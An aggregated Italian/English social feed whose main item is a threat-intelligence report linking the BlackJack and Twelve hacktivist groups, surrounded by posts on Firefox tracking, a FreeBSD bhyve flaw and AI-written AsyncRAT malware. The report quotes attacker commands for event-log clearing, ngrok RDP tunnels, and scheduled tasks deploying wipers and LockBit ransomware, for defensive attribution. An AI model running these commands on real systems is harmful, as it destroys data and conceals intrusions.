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Firefox ti traccia con la funzione di “tutela della privacy”

Oggi, @noyb.eu ha presentato un reclamo contro #Mozilla per aver abilitato silenziosamente una presunta "funzione privacy" (chiamata #Privacy Preserving Attribution) nel suo browser Firefox. Contrariamente al suo nome rassicurante, questa tecnologia consente a Firefox di tracciare il comportamento degli utenti sui siti web. In sostanza, ora è il browser a controllare il tracciamento, anziché i singoli siti web.

Sebbene questo possa essere un miglioramento rispetto al tracciamento dei cookie ancora più invasivo, l'azienda non ha mai chiesto ai suoi utenti se volessero abilitarlo. Invece, Mozilla ha deciso di attivarlo di default una volta che le persone hanno installato un recente aggiornamento software. Ciò è particolarmente preoccupante perché Mozilla ha generalmente la reputazione di essere un'alternativa rispettosa della privacy quando la maggior parte degli altri browser si basa su Chromium di Google.

@Privacy Pride

noyb.eu/en/firefox-tracks-you-…

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in reply to Informa Pirata

"ma io volevo solo aiutare la privacy dei miei utenti...!"

@noybeu @privacypride

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Unknown parent

friendica (DFRN) - Collegamento all'originale
Informa Pirata
@zamby dongiu@poliverso.org l'impostazione è personalizzabile; il problema è solo che è impostata di default

Privacy Pride reshared this.



È stata definitivamente approvata dalla Camera dei deputati la riforma della condotta e della valutazione alla Primaria.

Qui tutti i dettagli ▶ miur.gov.



ITU CYBER SECURITY INDEX 2024


L’Italia è un Paese modello per la sua postura nella cybersicurezza. A dirlo è l’ITU, l’International Telecommunication Union, agenzia delle Nazioni Unite specializzata in ICT, che promuove a pieni voti (100/100) il nostro Paese nel report Global Cybersecurity Index 2024. Con questa pubblicazione, giunta alla quinta edizione, l’agenzia ONU valuta il livello di maturità della cybersicurezza di oltre 190 Paesi, prendendo come parametro 5 aspetti: legale, tecnico, organizzativo, sviluppo delle capacità e cooperazione. L’ITU suddivide i Paesi in gruppi: dai più virtuosi (Tier 1) a quelli in via di costruzione (Tier 5). Il primo gruppo, a cui si accede con un voto minimo di 95/100, è composto dai 46 Paesi che hanno dimostrato un forte impegno nel settore, coordinando le attività del governo con quelle dei privati e dimostrando solidità in tutti e cinque i parametri.

L’Italia è stata quindi promossa per la normativa nazionale sulla cybersicurezza e sul cybercrime, le sue capacità tecniche come la presenza di un CSIRT nazionale, l’adozione di una strategia nazionale e la presenza di un’agenzia governativa specializzata (l’ACN appunto), gli incentivi per lo sviluppo, il miglioramento delle competenze e della consapevolezza. E, infine, per la collaborazione a livello internazionale e con i privati.

Per la rilevazione, ogni Paese ha compilato un questionario tramite il punto di contatto, che per l’Italia è l’Agenzia per la cybersicurezza nazionale. I dati così raccolti sono stati arricchiti e verificati da fonti indipendenti. Il report 2024 è stato realizzato analizzando 30mila url e più di mille pdf, fa sapere l’ITU.

Nonostante il miglioramento globale nella postura di cybersicurezza, l’ITU invita a non abbassare la guardia. Tra le minacce persistenti segnala: i ransomware, gli attacchi informatici – che toccano industrie chiave causando anche interruzioni di servizi – e le violazioni della privacy che riguardano individui e organizzazioni.

20916898


dicorinto.it/agenzia-per-la-cy…



La nazionale italiana degli hacker


È stata presentata oggi, in conferenza stampa, la nazionale italiana dei cyberdefender. TeamItaly, questo il nome, parteciperà alla European Cybersecurity Challenge di Torino dal 7 all’ 11 ottobre presso le Grandi Officine Riparazioni.

L’evento, organizzato da Acn e dal Laboratorio nazionale di cybersecurity del Cini vedrà la partecipazione di 38 squadre e due delegazioni ospiti in qualità di osservatori. La ECSC del 2024 è la settima competizione europea che vede competere il Team Italy nelle gare di attacco e difesa e “jeopardy” cioè sfide in parallelo in cui le singole squadre affrontano varie problematiche di sicurezza dalla crittografia alla web Security.

Alla presentazione hanno partecipato il Magnifico Rettore delL’IMT di Lucca, il Prof. Rocco De Nicola, che ha ospitato la conferenza nella sede universitaria; il neo direttore del Laboratorio nazionale di cybersecurity del CINI, professore Alessandro Armando; il vice caposervizio del Servizio Programmi e progetti tecnologici e di ricerca dell’ACN, dottoressa Liviana Lotti; gli allenatori della squadra Mario Polino ed Emilio Coppa.

20916164


dicorinto.it/agenzia-per-la-cy…



Cyberpack Puts All the Radios Right on Your Back


20914254

A disclaimer: Not a single cable tie was harmed in the making of this backpack cyberdeck, and considering that we lost count of the number of USB cables [Bag-Builds] used to connect everything in it, that’s a minor miracle.

The onboard hardware is substantial, starting with a Lattepanda Sigma SBC, a small WiFi travel router, a Samsung SSD, a pair of seven-port USB hubs, and a quartet of Anker USB battery banks. The software defined radio (SDR) gear includes a HackRF One, an Airspy Mini, a USRP B205mini, and a Nooelec NESDR with an active antenna. There are also three USB WiFi adapters, an AX210 WiFi/Bluetooth combo adapter, a uBlox GPS receiver, and a GPS-disciplined oscillator, both with QFH antennas. There’s also a CatSniffer multi-protocol IoT dongle and a Flipper Zero for good measure, and probably a bunch of other stuff we missed. Phew!

As for mounting all this stuff, [Bag-Builds] went the distance with a nicely designed internal frame system. Much of it is 3D printed, but the basic frame and a few rails are made from aluminum. The real hack here, though, is getting the proper USB cables for each connection. The cable lengths are just right so that nothing needs to get bundled up and cable-tied. The correct selection of adapters is a thing of beauty, too, with very little interference between the cables despite some pretty tightly packed gear.

What exactly you’d do with this cyberpack, other than stay the hell away from airports, police stations, and government buildings, isn’t exactly clear. But it sure seems like you’ve got plenty of options. And yes, we’re aware that this is a commercial product for which no build files are provided, but if you’re sufficiently inspired, we’re sure you could roll your own.

youtube.com/embed/-jezoIkX2IE?…

Thanks to [KC] for the tip on this one.


hackaday.com/2024/09/25/cyberp…



io non sono pacifista, perlomeno non nel modo ottuso comunemente inteso, teso solo a liberarsi dai problemi altrui, ma la radice della guerra è la sub-cultura della violenza, dell'intolleranza, dell'allergia al diverso, dell'ingiustizia, del bullismo. pace non è assenza di guerra, ma giustizia. e israele farebbe bene a smettere di comportarsi come gli americani con i pellerossa. e putin farebbe bene almeno a cercare di smettere di voler assurdamente apparire come i liberatori del mondo dal dominio usa. raramente chi fa parte della sfera di influenza russa è libero e felice.





FreeBSD soffre di una pericolosa RCE! Analisi e implicazioni


Di recente, il canale Telegram di SecActor ha rivelato una notizia di notevole importanza per la sicurezza informatica: una vulnerabilità critica di esecuzione di codice da remoto (RCE) che affligge il sistema operativo FreeBSD. Questa vulnerabilità, CVE-2024-41721, scoperta dal team di sicurezza di Synacktiv, riguarda il suo hypervisor bhyve e rappresenta una seria minaccia per la sicurezza delle macchine virtuali che operano su questo sistema.
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Origine del problema e impatto sulla sicurezza


La vulnerabilità ha origine nell’emulazione del controller XHCI (eXtensible Host Controller Interface) del componente bhyve, il cui scopo è emulare l’hardware USB all’interno delle macchine virtuali. Il problema risiede nella mancata verifica dei limiti di memoria, che permette al codice di leggere al di fuori dell’area designata, causando potenzialmente un crash del processo hypervisor o, peggio, l’esecuzione di codice arbitrario sulla macchina host.

Questa vulnerabilità è particolarmente pericolosa perché consente a un eventuale malware, eseguito su una macchina virtuale ospite, di acquisire il controllo dell’intero sistema fisico. In questo contesto, il fatto che il processo bhyve sia eseguito con privilegi elevati (root) non fa che amplificare le conseguenze di un attacco riuscito.

Nonostante bhyve utilizzi una tecnologia di sandboxing (Capsicum) per ridurre le capacità dei processi e isolarli, il rischio di sfruttamento rimane presente, soprattutto nelle configurazioni che emulano dispositivi USB.

Un problema esteso a tutte le versioni di FreeBSD


Tutti i sistemi FreeBSD che utilizzano l’emulazione XHCI sono vulnerabili e, al momento della pubblicazione del bollettino, non esiste un workaround alternativo. L’unica soluzione per mitigare il rischio consiste nell’applicazione delle patch rilasciate il 19 settembre 2024, che correggono questa vulnerabilità.

L’importanza di aggiornare tempestivamente i sistemi e riavviare le macchine virtuali è cruciale per garantire che le correzioni abbiano effetto e per evitare che le vulnerabilità persistano nelle istanze in esecuzione.

La vulnerabilità CVE-2024-41721 colpisce uno dei componenti chiave di FreeBSD, l’hypervisor bhyve, il quale è ampiamente utilizzato per la virtualizzazione delle macchine. La criticità risiede nel codice USB, specificamente nell’emulazione XHCI, dove una mancanza di verifica dei limiti di memoria può permettere a un utente malintenzionato di leggere o scrivere fuori dai confini della memoria allocata, ottenendo il controllo del sistema host.

Ipervisori e sicurezza


Gli hypervisor, come bhyve, sono utilizzati per creare e gestire macchine virtuali (VM), e svolgono un ruolo cruciale nell’infrastruttura IT moderna, soprattutto in ambienti cloud e data center. La virtualizzazione permette a più sistemi operativi di girare simultaneamente su una singola macchina fisica, aumentando l’efficienza dell’uso delle risorse. Tuttavia, proprio a causa di questo modello condiviso, una vulnerabilità in un hypervisor può esporre l’intero sistema a rischi.

Il contesto della vulnerabilità


La vulnerabilità in questione è particolarmente insidiosa perché può essere sfruttata da un software dannoso eseguito in una macchina virtuale ospite, permettendo così l’esecuzione di codice arbitrario sull’host. Questo tipo di vulnerabilità rappresenta una minaccia per la separazione tra VM e host, uno dei principali vantaggi della virtualizzazione. In effetti, un attacco di questo genere compromette il modello di sicurezza dell’hypervisor.

Secondo il bollettino di sicurezza di FreeBSD, la vulnerabilità deriva da una cattiva gestione della memoria nell’emulazione del controller XHCI. Il controller XHCI è una parte del sistema utilizzata per gestire i dispositivi USB 3.0 e superiori, permettendo alle VM di interagire con dispositivi USB virtuali. La mancata verifica delle dimensioni dei dati che passano attraverso l’emulazione USB può portare a un’alterazione dei dati in memoria, consentendo a un attaccante di leggere o scrivere al di fuori delle aree di memoria consentite, violando l’integrità del sistema.

Exploit potenziale e scenari di attacco


Questa vulnerabilità è particolarmente critica perché bhyve opera con privilegi di root, aumentando il potenziale impatto di un exploit riuscito. Un attaccante che sfrutta questa vulnerabilità potrebbe provocare il crash dell’hypervisor o, peggio, eseguire codice malevolo con i privilegi più elevati disponibili. La possibilità di controllo remoto dell’host da parte di un attaccante su una VM vulnerabile rende questa vulnerabilità una delle minacce più gravi per gli ambienti FreeBSD.

Il fatto che bhyve operi in una sandbox tramite la tecnologia Capsicum mitiga solo parzialmente il rischio. Capsicum è un framework di sicurezza che limita i privilegi dei processi, ma non è sufficiente a eliminare del tutto la possibilità di attacchi sfruttando questa vulnerabilità. Inoltre, la vulnerabilità riguarda tutte le versioni supportate di FreeBSD che utilizzano bhyve con l’emulazione XHCI, rendendo necessario un aggiornamento immediato.

Impatto e mitigazione


L’unica soluzione per gli amministratori di sistema è aggiornare le loro installazioni di FreeBSD alla versione che include la patch rilasciata il 19 settembre 2024. Questo aggiornamento corregge la vulnerabilità risolvendo il problema della gestione errata della memoria. Inoltre, è fondamentale riavviare tutte le macchine virtuali che utilizzano dispositivi USB emulati per garantire che la correzione venga applicata correttamente.

In ambienti di produzione, dove l’uptime è critico, questo tipo di vulnerabilità rappresenta una seria minaccia. Un exploit di successo potrebbe causare danni significativi, incluse interruzioni del servizio, perdita di dati e accesso non autorizzato a informazioni sensibili. Il processo di patching richiede dunque un’attenta pianificazione per minimizzare l’impatto sulle operazioni quotidiane, ma è una misura imprescindibile per garantire la sicurezza dei sistemi.

Implicazioni più ampie nel contesto della sicurezza informatica


Questa vulnerabilità solleva diverse riflessioni. In primo luogo, evidenzia ancora una volta come le tecnologie di virtualizzazione, sempre più diffuse, siano divenute un bersaglio appetibile per i cybercriminali. Colpire un hypervisor significa potenzialmente avere accesso a più macchine virtuali e, di conseguenza, a una vasta gamma di dati e servizi.

In secondo luogo, la scoperta del bug di sicurezza da parte di Synacktiv, un’azienda francese nota per la sua esperienza nel campo delle vulnerabilità critiche, sottolinea l’importanza di una costante attività di auditing e testing sui software utilizzati, anche su sistemi apparentemente sicuri come FreeBSD.

Infine, questo caso specifico ci ricorda quanto sia pericoloso sottovalutare le vulnerabilità legate a componenti “periferici” come l’emulazione USB. Anche se a prima vista possono sembrare secondarie rispetto a falle più note e critiche, possono comunque essere sfruttate per ottenere un accesso non autorizzato ai sistemi principali.

Conclusione


La vulnerabilità RCE scoperta in FreeBSD è un chiaro segnale di allarme per amministratori di sistema e responsabili della sicurezza. In un panorama in cui le minacce continuano a evolversi e ad adattarsi, mantenere sistemi costantemente aggiornati e monitorati è fondamentale per prevenire attacchi potenzialmente devastanti. L’adozione di misure preventive, come la tempestiva applicazione delle patch e un attento controllo delle configurazioni di sistema, rimane l’unico modo efficace per mitigare il rischio di violazioni della sicurezza.

Inoltre, casi come questo ci ricordano l’importanza di una collaborazione costante tra aziende di sicurezza, sviluppatori di software e utenti, affinché le vulnerabilità siano identificate e risolte il più rapidamente possibile.

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L’AI Scrive Codice con Stile! Commenti Eccezionali per il Malware AsyncRAT


Gli analisti di HP Wolf Security hanno esaminato i recenti attacchi contro gli utenti francesi e hanno scoperto che il malware AsyncRATè stato distribuito utilizzando un codice dannoso chiaramente creato con l’aiuto dell’intelligenza artificiale.

In precedenza, gli specialisti della sicurezza informatica avevano già avvertito che i criminali informatici possono utilizzare l’intelligenza artificiale generativa per creare e-mail di phishing convincenti, deepfake vocali e altre attività poco legali.xakep.ru/2024/01/11/fake-voice…

Inoltre, si è già arrivati ​​all’utilizzo dell’intelligenza artificiale per sviluppare malware. Così, nella primavera di quest’anno, i ricercatori della società Proofpoint hanno avvertito che per distribuire l’infostealer Rhadamanthys è stato utilizzato uno script PowerShell, probabilmente creato utilizzando LLM.

Un nuovo caso simile è stato registrato dagli specialisti di HP Wolf Security all’inizio di giugno.
20908640
Gli attacchi sono iniziati con normali e-mail di phishing contenenti l’esca sotto forma di fattura sotto forma di allegato HTML crittografato.

“In questo caso, gli aggressori hanno inserito una chiave AES in JavaScript all’interno di un allegato. Ciò non accade molto spesso e questo è stato il motivo principale per cui abbiamo prestato attenzione a questa minaccia”, spiegano gli esperti e aggiungono che sono riusciti a bypassare la crittografia utilizzando la forza bruta regolare, poiché si sapeva che il file decrittografato doveva essere un archivio ZIP.

L’allegato decriptato conteneva VBScript, dall’esame del quale è emerso che “l’aggressore ha commentato e strutturato attentamente tutto il codice”, cosa che accade raramente se il codice è stato elaborato da una persona (gli aggressori di solito cercano di nascondere il funzionamento del loro malware). Lo scopo di VBScript era di rimanere attaccato alla macchina infetta, creando attività pianificate e nuove chiavi nel registro di Windows.

“Questi commenti descrivevano in dettaglio esattamente lo scopo del codice. Questo è ciò che di solito fanno i servizi di intelligenza artificiale generativa quando forniscono esempi di codice con spiegazioni”, scrivono gli esperti.

Inoltre, il lavoro dell’IA, secondo gli esperti, è stato indicato dalla struttura degli script, dai commenti su ogni riga, nonché dalla scelta del francese per i nomi delle funzioni e delle variabili.
20908643Codice dannoso scritto dall’intelligenza artificiale
Di conseguenza, AsyncRAT è stato scaricato ed eseguito sul sistema della vittima. Si tratta di un malware gratuito e open source che consente di intercettare le sequenze di tasti, fornisce una connessione crittografata al computer della vittima e può anche scaricare payload aggiuntivi.

I ricercatori concludono che l’intelligenza artificiale generativa può aiutare i criminali poco qualificati a scrivere malware in pochi minuti e ad adattarlo per attaccare diverse piattaforme (Linux, macOS, Windows, ecc.). E anche se gli aggressori sofisticati non utilizzano l’intelligenza artificiale per lo sviluppo vero e proprio, possono utilizzarla per accelerare le cose.

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Hungary to drop reference to telecoms market consolidation in new Council conclusions


The Hungarian Presidency of the Council of the EU should delete any reference to consolidation in the telecommunications market in the next iteration of the draft Council conclusions which should be published on 9 October, four sources with insider knowledge told Euractiv.


euractiv.com/section/digital/n…



From 12 to 21: how we discovered connections between the Twelve and BlackJack groups


20906470

While analyzing attacks on Russian organizations, our team regularly encounters overlapping tactics, techniques, and procedures (TTPs) among different cybercrime groups, and sometimes even shared tools. We recently discovered one such overlap: similar tools and tactics between two hacktivist groups – BlackJack and Twelve, which likely belong to a single cluster of activity.

In this report, we will provide information about the current procedures, legitimate tools, and malware used by the BlackJack group, and demonstrate their similarity to artifacts found in Twelve’s attacks. We will also analyze another recently discovered activity that has much in common with the activity of the potential cluster.

Who are BlackJack?


BlackJack is a hacktivist group that emerged at the end of 2023, targeting companies based in Russia. In their Telegram channel, the group states that it aims to find vulnerabilities in the networks of Russian organizations and government institutions.

As of June 2024, BlackJack has publicly claimed responsibility for over a dozen attacks. Our telemetry also contains information on other unpublicized attacks, where indicators suggest BlackJack’s involvement.

The group only uses freely available and open-source software, such as the SSH client PuTTY or the wiper Shamoon, which has been available on GitHub for several years. This confirms that the group operates as hacktivists and lacks the resources typical of large APT groups.

Malware and legitimate tools in BlackJack attacks

Wiper – Shamoon


BlackJack uses a version of the Shamoon wiper written in Go in their attacks. Static analysis helped us extract the following characteristic strings:

Strings from the wiper
Strings from the wiper

During our research, we found Shamoon samples in the following locations:
Sysvol\domain\scripts
\\[DOMAIN]\netlogon\
C:\ProgramData\

Ransomware – LockBit


In addition to the wiper, BlackJack also uses a leaked version of the LockBit ransomware to harm their victims.

Verdicts with which BlackJack's version of LockBit was detected, source: Kaspersky Threat Intelligence Portal (TIP)
Verdicts with which BlackJack’s version of LockBit was detected, source: Kaspersky Threat Intelligence Portal (TIP)

We found the ransomware in the same directories as the wiper:
Sysvol\domain\scripts
\\[DOMAIN]\netlogon\
C:\ProgramData\
The network directories for placing the malware were not chosen at random. This allows the attackers to spread their samples across the victim’s infrastructure and later place them in
C:\ProgramData\ for further execution in the system.
To launch LockBit, the attackers use scheduled tasks containing the following command line (the 32-character password may vary depending on the host or victim):
C:\ProgramData\bj.exe -pass aa83ec8e98326e234260ebb650d48f20
The ransom note only contains the name of the group:

Contents of the LockBit ransom note
Contents of the LockBit ransom note

This confirms that the group is not aiming for financial gain, but rather to cause damage to the compromised organization.

Ngrok


To maintain persistent access to compromised victim resources, the attackers use tunneling with the common ngrok utility. We found the utility and its configuration file in the following directories:

PathsDescription
\Users\[USER]\Downloads\ngrok-v3-stable-windows-amd64.zipArchive containing executable and configuration files.
\Program Files\Windows Media Player\ngrok.exeNgrok executable file.
\Users\[USER]\AppData\Local\ngrok\ngrok.ymlConfiguration file containing an authentication token and other information.

Here is a list of commands related to ngrok execution:

CommandsDescription
.\ngrok.exe config add-authtoken <TOKEN>Ngrok authentication process.
Start-Process -FilePath "ngrok.exe" -WindowStyle Hidden -ArgumentList 'tcp 3389'Launches the ngrok.exe process and creates a TCP tunnel on port 3389 (RDP).
.\ngrok.exe tcp 3389Alternative for creating a TCP tunnel on port 3389 (RDP).
.\ngrok.exe udp 3389Creates a UDP tunnel on port 3389 (RDP).
Radmin, AnyDesk, PuTTY


To ensure remote access to the system, BlackJack installs various remote access tools (RATs). Judging by the incidents we studied, the attackers initially attempted to use the Radmin utility, but all the external connections we observed were made through AnyDesk.

During the RAT installation, the attackers created the following services:

Service nameLaunch commands
Radmin Server V3"C:\Windows\SysWOW64\rserver30\RServer3.exe" /service
raddrvv3C:\Windows\SysWOW64\rserver30\raddrvv3.sys
AnyDesk Service"C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service

Additionally, the popular SSH client PuTTY was used to connect to certain hosts within the infrastructure.

Connection with the Twelve group


The malware and legitimate tools described above significantly overlap with the arsenal of the hacktivist group Twelve. This group also relies on publicly available software and does not use proprietary tools in its attacks.

Most of the connections and overlaps between the two groups were discovered through Kaspersky Security Network (KSN) telemetry and Kaspersky Threat Intelligence solutions. KSN telemetry is anonymized data from users of our products who have consented to share and process this information.

Malware sample similarities


Let’s first examine the similarities between the ransomware and wiper samples from the BlackJack and Twelve groups. Below is the information from the Kaspersky Threat Intelligence Portal (TIP) on the LockBit ransomware file discovered while investigating the BlackJack attacks:

BlackJack file information
BlackJack file information

The sample is named bj.exe, presumably an abbreviation for the BlackJack group. Among other things, the TIP page shows a list of similar files compiled using the Similarity technology, which identifies files with similar patterns. Although the sample used by the hacktivists was created with the leaked LockBit builder, Similarity first identifies the most closely related files. Note the first hash in the list: 39B91F5DFBBEC13A3EC7CCE670CF69AD.

List of similar files
List of similar files

Checking this hash on the Threat Intelligence Portal reveals that it was mentioned in our recent investigation into the Twelve group.

This suggests that the two groups use similar LockBit samples. Additionally, analysis of the configuration of the two samples (BlackJack and Twelve) showed that their exclusion lists (files, directories, and extensions to leave unencrypted) are identical.

Just like the BlackJack’s LockBit sample, the Twelve group’s ransomware also has a list of similar files.

List of similar files
List of similar files

Upon checking one of them (underlined in red on the screenshot), we found that the file was also named
bj.exe. This means that it is another instance of the BlackJack group’s ransomware, further indicating that the two groups use nearly identical LockBit samples.
Below is a list of paths where LockBit samples were found during the investigation of incidents related to the BlackJack and Twelve groups:

BlackJackTwelve
\\[DOMAIN]\netlogon\\\[DOMAIN]\netlogon\
C:\ProgramData\C:\ProgramData\
Sysvol\domain\scripts

Summing up the ransomware analysis, we can draw the following conclusions:

  • Both groups use similar LockBit ransomware samples;
  • The paths where these samples were found are almost identical.

Let’s continue searching for further connections.

Wiper reuse


The study of wiper samples from incidents involving the BlackJack and Twelve groups also revealed similarities between them.

Both wipers overwrite the MBR record with almost identical placeholder strings:

MBR placeholder of the BlackJack wiper
MBR placeholder of the BlackJack wiper

MBR placeholder of the Twelve wiper
MBR placeholder of the Twelve wiper

By analyzing the BlackJack wiper on the Threat Intelligence Portal, we found that in some cases it was extracted from the following archive:

Information about the archive containing the BlackJack wiper
Information about the archive containing the BlackJack wiper

Examining the archive, we found the Chaos ransomware – 646A228C774409C285C256A8FAA49BDE:

Ransomware file in the archive
Ransomware file in the archive

Moreover, this file was mentioned in our report on the Twelve group. That is, malware from both groups is distributed in the same archive.

Checking the file names and paths, we discovered a familiar network directory
\sysvol\domain\script.
File names and paths
File names and paths

In addition, during our investigation of attacks carried out by the Twelve group, we also found the use of Shamoon-based wipers. Moreover, according to KSN data, a specific variant of Shamoon, which was involved in BlackJack group attacks, was also seen in some Twelve attacks.

Similar to the analysis of the LockBit ransomware, we decided to study the paths where the wipers were found in incidents related to the BlackJack and Twelve groups. As you can see from the table below, these paths are identical:

BlackJackTwelve
Sysvol\domain\scriptsSysvol\domain\scripts
\\[DOMAIN]\netlogon\\\[DOMAIN]\netlogon\
C:\ProgramData\C:\ProgramData\

Summing up the analysis of the Shamoon wiper, we can confidently say that both groups use it or its components in their attacks and place them in identical directories. Moreover, the version of Shamoon that became available as a result of the leak was written in C#, whereas the variants of this wiper used in the BlackJack and Twelve attacks were rewritten in Go, further supporting the connection between these groups.

Familiar commands and utilities


In addition to the connections identified through analyzing the malware samples, we also discovered overlaps in the commands and tools used by both groups.

Below are the commands found in the BlackJack and Twelve group attacks.

Creating scheduled tasks:

BlackJackTwelve
reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{ID}:Actions","`powershell.exe` Copy-Item `\\[DOMAIN]\netlogon\bj.exe` -Destination `C:\ProgramData`reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{ID}:Actions","`POWERSHELL.EXE` Copy-Item `\\[DOMAIN]\netlogon\twelve.exe` -Destination `C:\ProgramData'
reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{ID}:Actions","`powershell.exe` Copy-Item `\\[DOMAIN]\netlogon\wip.exe` -Destination `C:\ProgramData`reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{ID}:Actions","`powershell.exe` Copy-Item `\\[DOMAIN]\netlogon\wiper.exe` -Destination `C:\ProgramData'

Clearing event logs:

BlackJackTwelve
powershell -command wevtutil el | Foreach-Object {Write-Host Clearing $_; wevtutil cl $_}powershell -command wevtutil el | Foreach-Object {Write-Host Clearing $_; wevtutil cl $_}

As you can see, apart from the names of the executable files, the commands are identical.

The list of publicly available utilities used by the groups also partially overlaps:

BlackJackTwelve
Mimikatz
PsExec
Ngrok
PuTTY
XenAllPasswordPro
Radmin
AnyDesk
Mimikatz
PsExec
Ngrok
PuTTY
XenAllPasswordPro
chisel
BloodHound
adPEAS
PowerView
RemCom
CrackMapExec
WinSCP

New activity


During our research, we also discovered another activity that closely resembles the ones described above. At this point, we cannot definitively determine which specific group is responsible for this activity; however, the malware samples and procedures clearly indicate that the source is the activity cluster under investigation.

The similarities we found are listed below:

  1. The discovered wiper contains the characteristic strings we saw in the Twelve and BlackJack wipers and also creates a similar MBR record.
  2. The wiper is spread through the sysvol network directory and saved using a scheduled task, which copies it to that same C:\ProgramData directory.
    reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows
    NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`powershell.exe` Copy-Item
    `\\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\letsgo.exe` -Destination `C:\ProgramData`
  3. As in the BlackJack and Twelve attacks, before wiping data with the wiper, the attackers launch the ransomware (enc.exe), which is also copied from the network folder to C:\ProgramData:
    reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows
    NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`powershell.exe` Copy-Item
    `\\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\enc.exe` -Destination `C:\ProgramData`
  4. As in Twelve group attacks, the execution of the wiper, as well as copying the wiper and ransomware from the network directory to the C:\ProgramData folder, are performed using scheduled tasks:
Unknown threatTwelve
reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`cmd.exe` /c \\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\letsgo.exereg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`cmd.exe` /c \\[DOMAIN]\netlogon\wiper.exe
reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`powershell.exe` Copy-Item `\\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\letsgo.exe` -Destination `C:\ProgramData`reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`powershell.exe` Copy-Item `\\[DOMAIN]\netlogon\wiper.exe` -Destination `C:\ProgramData
reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`powershell.exe` Copy-Item `\\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\enc.exe` -Destination `C:\ProgramData`reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`POWERSHELL.EXE` Copy-Item `\\[DOMAIN]\netlogon\twelve.exe` -Destination `C:\ProgramData`

Also during the investigation of this activity, various artifacts and procedures were discovered that we had not seen in the BlackJack and Twelve attacks:

  1. Using the PowerShell cmdlet Get-MpPreference to gather information about disabled Windows Defender features.
    powershell.exe` -ex bypass -c Get-MpPreference | fl disable*
  2. Creating scheduled tasks:
    Task nameCommand lineDescription
    \run1reg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`cmd.exe` /c C:\ProgramData\letsgo.exeExecuting the wiper from the
    C:\ProgramData folder
    \defreg:\\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\<GUID>:Actions","`powershell.exe` -ex bypass -c Get-MpPreference | fl disable*Collecting information about disabled
    Windows Defender features
  3. Using WMIExec for lateral movement into the root directory.
    cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1710197641.3559299 2>&1


Victims


The mentioned malware samples, utilities, and command lines were found in the infrastructures of government, telecommunications, and industrial companies in Russia.

Attribution


Based on our research, we cannot be sure that the same actors are behind the activities of both groups. However, we suspect that the BlackJack and Twelve groups are part of a unified cluster of hacktivist activity aimed at organizations located in Russia.

Conclusion


In this study, we demonstrated that the BlackJack and Twelve groups have similar targets and use similar malware, distributing and executing it using the same methods. At the same time, they are not interested in financial gain but aim to inflict maximum damage on target organizations by encrypting, deleting, and stealing data and resources.

Indicators of compromise

Wiper – Shamoon


ED5815DDAD8188C198E0E52114173CB6 wip.exe/wiper.exe
5F88A76F52B470DC8E72BBA56F7D7BB2 letsgo.exe

Ransomware – LockBit


DA30F54A3A14AD17957C88BF638D3436 bj.exe
BF402251745DF3F065EBE2FFDEC9A777 bj.exe

File paths


Sysvol\domain\scripts\wip.exe
\\[DOMAIN]\netlogon\wip.exe
C:\ProgramData\wip.exe
Sysvol\domain\scripts\bj.exe
\\[DOMAIN]\netlogon\bj.exe
C:\ProgramData\bj.exe
C:\ProgramData\letsgo.exe
\\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\letsgo.exe
C:\ProgramData\enc.exe
\\[DOMAIN]\SYSVOL\[DOMAIN]\SCRIPTS\enc.exe
C:\Users\[USER]\Downloads\ngrok-v3-stable-windows-amd64.zip
C:\Program Files\Windows Media Player\ngrok.exe
C:\Users\[USER]\AppData\Local\ngrok\ngrok.yml

Scheduled task names


\copy
\run1
\go2
\im
\def


securelist.com/blackjack-hackt…



fatemi capire... se per te uno che hai sulle palle, che fa sempre stronzate, ne fa una giusta, gli dai contro anche quando fa quella giusta? l'onestà che fine ha fatto?


Storie afgane di fughe e diritti negati


@Notizie dall'Italia e dal mondo
Zamaair e la sua famiglia hanno dovuto vendere tutto quello che possedevano per poter scappare da Kabul. Sono da un anno e mezzo in Pakistan, in attesa di asilo
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Cybersecurity, l’ITU promuove l’Italia a pieni voti


@Informatica (Italy e non Italy 😁)
L’ITU, l’agenzia Onu che gestisce le politiche globali sullo spettro radio, elogia l’Italia nel Global Cybersecurity Index 2024. Il nostro paese ha passato a pieni voti (100/100) l’esame dell’agenzia, che ci riconosce come leader mondiale per la sua postura nella cybersicurezza, grazie a: Un ottimo traguardo che ci



Cybersecurity: solo un’organizzazione su tre è in grado di gestire la sicurezza informatica 24 ore su 24


